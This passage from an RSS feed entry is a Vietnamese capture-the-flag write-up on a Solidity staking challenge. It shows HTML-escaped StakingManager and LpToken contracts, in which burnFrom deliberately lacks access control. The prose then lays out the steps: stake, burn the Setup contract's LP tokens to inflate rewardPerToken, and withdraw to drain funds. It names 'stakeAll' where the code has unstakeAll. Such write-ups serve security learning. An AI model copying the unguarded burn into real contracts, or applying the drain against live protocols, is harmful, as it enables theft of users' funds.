&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">isSolved&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="k">view&lt;/span> &lt;span class="k">returns&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="kt">bool&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">token&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">balanceOf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">this&lt;/span>&lt;span class="p">))&lt;/span> &lt;span class="o">&amp;gt;=&lt;/span> &lt;span class="mi">10&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="n">e18&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;code>StakingManager.sol&lt;/code>&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-solidity" data-lang="solidity">&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// SPDX-License-Identifier: UNLICENSED
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>&lt;span class="k">pragma solidity&lt;/span> &lt;span class="o">^&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="mi">8&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="mi">25&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="p">{&lt;/span>&lt;span class="n">LpToken&lt;/span>&lt;span class="p">}&lt;/span> &lt;span class="k">from&lt;/span> &lt;span class="s">&amp;#34;./LpToken.sol&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="p">{&lt;/span>&lt;span class="n">IERC20&lt;/span>&lt;span class="p">}&lt;/span> &lt;span class="k">from&lt;/span> &lt;span class="s">&amp;#34;@openzeppelin/contracts/token/ERC20/ERC20.sol&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kd">contract&lt;/span> &lt;span class="nc">StakingManager&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">uint256&lt;/span> &lt;span class="k">constant&lt;/span> &lt;span class="n">REWARD_PER_SECOND&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="n">e18&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">IERC20&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="k">immutable&lt;/span> &lt;span class="n">TOKEN&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">LpToken&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="k">immutable&lt;/span> &lt;span class="n">LPTOKEN&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">uint256&lt;/span> &lt;span class="n">lastUpdateTimestamp&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">uint256&lt;/span> &lt;span class="n">rewardPerToken&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">struct&lt;/span> &lt;span class="nc">UserInfo&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">uint256&lt;/span> &lt;span class="n">staked&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">uint256&lt;/span> &lt;span class="n">debt&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">mapping&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span> &lt;span class="o">=&amp;gt;&lt;/span> &lt;span class="n">UserInfo&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="n">userInfo&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">constructor&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span> &lt;span class="n">token&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">TOKEN&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">IERC20&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">token&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">LPTOKEN&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="k">new&lt;/span> &lt;span class="n">LpToken&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">update&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="k">internal&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">lastUpdateTimestamp&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">lastUpdateTimestamp&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">block&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">timestamp&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">uint256&lt;/span> &lt;span class="n">totalStaked&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">LPTOKEN&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">totalSupply&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">totalStaked&lt;/span> &lt;span class="o">&amp;gt;&lt;/span> &lt;span class="mi">0&lt;/span> &lt;span class="o">&amp;amp;&amp;amp;&lt;/span> &lt;span class="n">lastUpdateTimestamp&lt;/span> &lt;span class="o">!=&lt;/span> &lt;span class="nb">block&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">timestamp&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">rewardPerToken&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nb">block&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">timestamp&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="n">lastUpdateTimestamp&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="n">REWARD_PER_SECOND&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="n">e18&lt;/span> &lt;span class="o">/&lt;/span> &lt;span class="n">totalStaked&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">lastUpdateTimestamp&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">block&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">timestamp&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">stake&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">uint256&lt;/span> &lt;span class="n">amount&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">external&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">update&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">UserInfo&lt;/span> &lt;span class="k">storage&lt;/span> &lt;span class="n">user&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">userInfo&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="nb">msg&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">sender&lt;/span>&lt;span class="p">];&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">user&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">staked&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="n">amount&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">user&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">debt&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">amount&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="n">rewardPerToken&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">/&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="n">e18&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">LPTOKEN&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">mint&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">msg&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">sender&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">amount&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">TOKEN&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">transferFrom&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">msg&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">sender&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">address&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">this&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="n">amount&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">unstakeAll&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="k">external&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">update&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">UserInfo&lt;/span> &lt;span class="k">storage&lt;/span> &lt;span class="n">user&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">userInfo&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="nb">msg&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">sender&lt;/span>&lt;span class="p">];&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">uint256&lt;/span> &lt;span class="n">staked&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">user&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">staked&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">uint256&lt;/span> &lt;span class="n">reward&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">staked&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="n">rewardPerToken&lt;/span> &lt;span class="o">/&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="n">e18&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="n">user&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">debt&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">user&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">staked&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">user&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">debt&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">LPTOKEN&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">burnFrom&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">msg&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">sender&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">LPTOKEN&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">balanceOf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">msg&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">sender&lt;/span>&lt;span class="p">));&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">TOKEN&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">transfer&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">msg&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">sender&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">staked&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="n">reward&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;code>LpToken.sol&lt;/code>&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-solidity" data-lang="solidity">&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// SPDX-License-Identifier: UNLICENSED
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>&lt;span class="k">pragma solidity&lt;/span> &lt;span class="o">^&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="mi">8&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="mi">25&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="p">{&lt;/span>&lt;span class="n">ERC20&lt;/span>&lt;span class="p">}&lt;/span> &lt;span class="k">from&lt;/span> &lt;span class="s">&amp;#34;@openzeppelin/contracts/token/ERC20/ERC20.sol&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kd">contract&lt;/span> &lt;span class="nc">LpToken&lt;/span> &lt;span class="k">is&lt;/span> &lt;span class="n">ERC20&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">address&lt;/span> &lt;span class="k">immutable&lt;/span> &lt;span class="n">minter&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">constructor&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="n">ERC20&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;LP Token&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;LP&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">minter&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">msg&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">sender&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">mint&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span> &lt;span class="n">to&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">uint256&lt;/span> &lt;span class="n">amount&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">external&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">require&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">msg&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">sender&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="n">minter&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;only minter&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">_mint&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">to&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">amount&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">burnFrom&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span> &lt;span class="k">from&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">uint256&lt;/span> &lt;span class="n">amount&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">external&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">_burn&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="k">from&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">amount&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Trong bài này, ta cần làm cho lượng token trong contract Setup &amp;gt; &lt;code>10 * 1e18&lt;/code>, với việc bắt đầu từ &lt;code>1e18&lt;/code> token (nhận được thông qua hàm &lt;code>withdraw()&lt;/code>)&lt;/p>
&lt;p>Đọc qua contract &lt;code>StakingManager&lt;/code>, ta thấy rằng sau một khoảng thời gian, số tiền mà ta gửi vào sẽ tăng lên do &lt;code>rewardPerToken&lt;/code>. Tuy nhiên, nếu chỉ gửi tiền và đợi thì số lượng token không thể tăng lên tới &lt;code>10 * 1e18&lt;/code> token được (server có timeout 30&amp;rsquo;). Do đó, ta cần tìm cách khác.&lt;/p>
&lt;p>Khi đọc cách tính hàm &lt;code>rewardPerToken&lt;/code>, ta thấy việc tính toán dựa vào &lt;code>block.timestamp&lt;/code> và &lt;code>totalSupply&lt;/code> của &lt;code>LpToken&lt;/code>. Do việc kiểm soát &lt;code>block.timestamp&lt;/code> là không thể nên ta sẽ thử tìm cách điều khiển &lt;code>totalSupply&lt;/code>.&lt;/p>
&lt;p>Trong contract &lt;code>LpToken.sol&lt;/code>, ta chú ý có 2 hàm là &lt;code>burnFrom&lt;/code> và &lt;code>mint&lt;/code>. Trong khi hàm &lt;code>mint&lt;/code> yêu cầu chỉ có &lt;code>minter&lt;/code> mới thực hiện được thì hàm &lt;code>burnFrom&lt;/code> lại không cần điều kiện gì. Đây chính là vulnerable mà ta có thể khai thác.&lt;/p>
&lt;p>Nếu đọc kĩ &lt;code>Setup.sol&lt;/code>, ta thấy rằng contract đã gọi hàm &lt;code>stake&lt;/code> với giá trị &lt;code>100000 * 1e18&lt;/code>, do đó, lượng &lt;code>LpToken&lt;/code> của contract là &lt;code>100000 * 1e18&lt;/code>, từ đó, ta có thể gọi hàm &lt;code>burnFrom&lt;/code> với address của contract &lt;code>setup&lt;/code> và số lượng &lt;code>LpToken&lt;/code> thật lớn, từ đó &lt;code>totalSupply&lt;/code> của &lt;code>LpToken&lt;/code> sẽ giảm mạnh, dẫn đến việc giá trị của &lt;code>rewardPerToken&lt;/code> tăng lên rất cao.&lt;/p>
&lt;p>Chiến thuật:&lt;/p>
&lt;ul>
&lt;li>Stake toàn bộ token ta có sau khi nhận từ contract &lt;code>Setup&lt;/code> qua hàm &lt;code>withdraw&lt;/code>&lt;/li>
&lt;li>Gọi hàm &lt;code>burnFrom&lt;/code> với address của contract &lt;code>Setup&lt;/code> và giá trị &lt;code>value&lt;/code> thật lớn, nhưng không làm cho giá trị của &lt;code>totalSupply&lt;/code> trở về 0&lt;/li>
&lt;li>Khi đó, nếu như tính toán lại giá trị của &lt;code>rewardPerToken&lt;/code> trong hàm &lt;code>update()&lt;/code> thì giá trị của nó sẽ tăng lên rất nhiều. Từ đó ta chỉ cần gọi hàm &lt;code>stakeAll&lt;/code> để lấy hết tiền là được.&lt;/li>
&lt;/ul></description></item></channel></rss>